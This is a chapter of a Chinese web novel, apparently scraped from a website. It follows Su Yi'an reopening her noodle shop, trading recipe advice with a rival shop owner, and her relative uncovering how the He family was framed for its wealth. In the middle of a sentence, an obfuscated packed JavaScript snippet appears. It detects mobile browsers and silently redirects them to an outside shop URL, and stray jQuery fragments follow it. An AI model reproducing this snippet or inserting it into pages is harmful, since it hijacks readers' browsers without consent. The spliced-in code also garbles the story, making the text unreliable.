59. 第59章
    苏意安大清早便去了集市,将嫩的能掐出水的青菜买了好些。

    她还买了一箩筐的蒜,这东西有的人爱吃有的人不爱吃,大多来买的人也就买几头回去,少见直接买一筐的。

    “苏姑娘,好些时日没见了,今个买这么多菜,是不是食肆重新开张。”卖蒜的老嬷把每头蒜上面沾着的泥土帮她搓下来,亲切问道。

    苏意安掏出银钱,笑着递过去:“是啊,今日开张,顺便推出点新的菜品。”

    周围摊贩掩住内心的疑问,嘴上说了几句吉祥话。

    他们没想到安贺食肆竟会再次开张,还以为会因为那些流言彻底关了铺子。

    “到时候来吃。”苏意安背起背篓,忽视那些人欲言又止的样子,离开了集市。

    安贺食肆再次开张,不到晌午铺子里就坐满了人。

    这其中不乏几位熟客,他们一坐下便开始念叨为何前段日子食肆不开张,全然忘记流言刚出来时也是他们一窝蜂去了街上的面摊。

    苏意安当做什么也不曾发生,只同他们说今日上新的面食,“今日再次开张,也推出新的面食,这面条价格比竹签上便宜一文。”

    食客拿出竹签一瞧,豁,这油泼面竟卖十二文一碗,这就算便宜也要十一文呢。

    这也不算便宜啊,但因是新出的,食客们就想尝个鲜。

    就像前段时间的水扯面一样,也贵可禁不住好吃啊,后来外面面摊也有卖水扯面的,可那面不劲道,也不如安贺食肆的面白。

    价钱虽比安贺食肆便宜一文,可他们不知安贺食肆可是在里面放了精面的。

    因时隔多日再次开张,铺子里食客不断,两个灶房的火一直烧到夜里。

    这期间连开在最繁华地段食肆的周掌柜都来了她的铺子,旁的食客见着还打趣两声,可周掌柜全然不在意。

    为商者就是要互利共赢,那些赶客的下作手段他可瞧不上。

    周掌柜要了两碗面,自己一碗伙计一碗。

    他总听人说安贺食肆的面好吃,今日过来也是想尝尝是什么样的吃食竟让人故意生事破坏生意。

    后院灶房中,贺凝文一脸愁容的看向苏意安,说:“二嫂,你都不知道前面谁来了。”

    “嗯?”苏意安正在热猪油,一听她这么说不由看了过来。

    “是周掌柜,咱们以前把香肠方子卖给过他。”贺凝文怕他也是来抢生意的。

    毕竟同为食肆,都是竞争的关系。

    再说周掌柜的食肆虽比不上明月酒楼可在一众食肆中那可是最好的。

    苏意安把油热化,泼在了碗中。

    今个的油泼面她没有给搅拌,这面上面撒了什么作料食客都能瞧见。

    “别急,这是好事,说明咱们食肆的面在镇上很受欢迎,要不怎么旁的食肆掌柜也会来。”苏意安把面弄好,陪同小妹一起端去了前面食肆。

    周掌柜等着的功夫也不忘打量周围食客,见大家每份面都吃的干干净净,他更加好奇。

    一个面食能好吃到什么地步。

    “您尝尝,看看哪里再改进一下比较好。”苏意安把面放在周掌柜面前,认真道。

    周掌柜连连摆手,谦虚着说:“这做面食我不如你,哪能提什么意见。”

    说完周掌柜用竹筷沾了一下面上被油泼了的作料。

    心中有数后他这才将面搅拌均匀。

    麻香味在嘴中炸开,与平日吃的汤面拌面一点也不同,味道更重更有滋味。

    而且这里面有蒜末,这味又冲又足,可就着面一口下去,却不觉得辣。

    周掌柜将整碗面吃完,然后拿出帕子擦去嘴角沾着的料汁。

    弄完这些后才慢悠悠道:“你这面怕是不赚钱。”

    他说话声音不算大,可铺子小,周围食客全都听得清清楚楚。

    咋,十一文一碗的面还能不赚钱?

    他们可不信。

    “还行,不过若是再改进一下那确实就不赚了。”苏意安一直没有寻到辣椒粉,她想或许周掌柜能知道。

    毕竟他开了这么多年的食肆,什么菜没尝过什么作料没见过。

    “咱们后面说。”苏意安招呼着二人往后院交谈。

    怕又有食客挑刺,苏意安专门让小妹把灶前的贺允淮替了下来。

    让食肆里的食客都瞧见今日可不是她一人在后院见客。

    后院放着一张木桌,是今早贺允淮从自己屋中搬出来的。

    昨夜在纸上洒了水,这不今日在院中晾晒晾晒。

    贺允淮将东西收进屋,又提着茶壶出来给周掌柜沏上茶。

    两方都有事所求。

    “周掌柜您先说。”

    “苏姑娘您先说。”

    二人同时开口,随后周掌柜大笑起来。

    既然如此,那他便先开口问一问也无妨。

    “苏姑娘做的这油泼面确实不错,不过总觉得其中缺了些什么。”

    周掌柜说不上来到底少了一味什么,但可以确定这一定不是这道面食最后的样子。

    苏意安没想到周掌柜只尝一碗,就可以说到这个地步,她点头应道:“您说的没错,这其中确实少了最关键的一样东西。”

    “苏姑娘若是信得过,不妨告诉周某。”周掌柜说。

    苏意安本就想问问周掌柜,见状她如实道:“不知周掌柜可听说过辣椒粉。”

    “辣椒粉?”周掌柜眯着眼眸思索一番,摇摇头。

    他知道麻椒粉,也知道这是将麻椒磨成粉状得出来的东西。

    那辣椒粉,难道是将辣椒磨成粉状?

    周掌柜觉得自己没猜错,毕竟辣椒价贵,若真的将这物添在面里,那可就不止十二文,可磨成粉...似乎不太行。

    “苏姑娘我虽没听说过辣椒粉,但我猜这东西应该和辣椒有关,不过咱们这镇上卖辣椒的少,再说那辣椒也磨不成粉啊。”周掌柜不喜辣椒,那东西不好吃,可架不住食客喜欢。

    “听说府城里的食肆有用辣椒的,苏姑娘若实在想要这东西,不妨去府城看看。”

    苏意安看向贺允淮,他们二人确有去府城的打算。

    周掌柜说完这些,这才开始说他的事情。

    今日来他是有买方子的念头,毕竟苏意安这的方子很是便宜,一两银子一个。

    不过吃完这碗面他又多了一项,他也想买下苏意安说的辣椒面,就是不知道这价怎么定。

    苏意安笑着拒绝,“这面可没有方子卖,大家尝了回家琢磨琢磨就能知道这是怎么做的。”

    “那就买水扯面的方子。”周掌柜可是听食客们说,这外面做的水扯面全没有她们家的好吃,这说明什么,这说明安贺食肆的水扯面一定有其他的做法,定不是人们琢磨的那种。

    苏意安一听这话,直接将人带进灶房,指着桌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644595|136117||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上那一盆水道:“周掌柜,您看看那里面。”

    水盆里是一个又一个的剂子。

    这水扯面其实也不难,同它的名字一样,和水有关。

    苏意安同他将水扯面的做法说了一遍,“这东西不难,就是加一些精面和盐进去,三揉三醒,顺便在水里泡泡。”

    周掌柜听完伸手重重拍了木桌一下,言道:“还放精面!那些人若是知道这里面有精面谁还敢说你卖的贵。”

    怪不得人家安贺食肆的面好吃,就这两样面,哪个不是放了十足的东西。

    苏意安没收周掌柜的银钱,一个方子换一个朋友,这可比银子值钱多了。

    她答应周掌柜若是能寻到辣椒粉,也会给周掌柜捎一份。

    -

    苏正墨骑马不到一日便回到了府城。

    他没着急回家,而是去了姜家,他曾与姜家公子同在京中书院念书,也算有几分交情。

    再者姜家公子的长姐嫁的便是府尊大人的大公子。

    苏正墨想或许可以从这里问问,当年贺家到底犯了什么罪。

    “你说贺家?”姜殊正深深看了他一眼,有些不愿开口。

    “姜兄若是为难,不说也无碍。”苏正墨不愿强人所难。

    姜殊正让屋中下人退下,又亲自关上门窗,这才同他说。

    “倒不是为难,只是一两句也说不清楚。你可知道邱家?”

    这邱家在府城盘踞多年,靠着药材生意捏住了不少医馆的命脉。

    可商最怕官,所以邱家为了笼络官员,将家中唯一的女儿送了出去。

    送去了府尊大人府上,成了府尊大人的小妾。

    “府尊大人...”苏正墨原先那些想不通的事情一下连在了一起。

    他就说为何他爹会生出送小妹当妾的念头,原来有邱家在前,为商的尝到了甜头。

    “听说邱家和贺家不合,邱家女儿便吹了些枕边风,这不府尊大人便找了个由头将人关了起来。”

    “就因为不和,就能害的贺家家破人亡?”苏正墨心中一惊,只觉老天不公。

    姜殊正自顾自道:“贺家老爷下了牢狱,家中没有主心骨,那可不就被邱家设计了,如今贺家的宅院都成了邱家的。”

    这事在府城也不算是什么秘密,只是能知道这么详细多亏了姜殊正的嫡姐。

    “可还有翻案的机会?”若是府尊大人的手笔,那怕是难。

    “翻案?”姜殊正冷笑道,“这压根就没有定成案子为何要翻案。”

    “不是贺老爷死在了狱中....”苏正墨瞬间明白过来。

    这一切的一切只不过是一个让贺家落败的局罢了,为的就是贺家的家财。

    拿诗做引子,借着审问贺老爷为由头将人关进牢狱,让贺家以为外人都以为贺老爷是犯了罪。

    贺家两个儿子都是读书人,慌乱中病急乱投医只能求人。

    这时再让原本安排好的人来诓骗他们,设局将贺家家财全都骗走,最后再说贺老爷无罪将人放出来就是。

    可问题就出在贺老爷身上,他病重没能撑住。

    “所以贺家没有罪?”苏正墨声音都在发颤,他没想到贺家的事远比他来时想的要简单。

    一个很简单的局...罢了。

    “因着这事,这些日子不少商贾都往府尊大人府上送人呢。”姜殊正长叹一口气,这世道真是乱啊。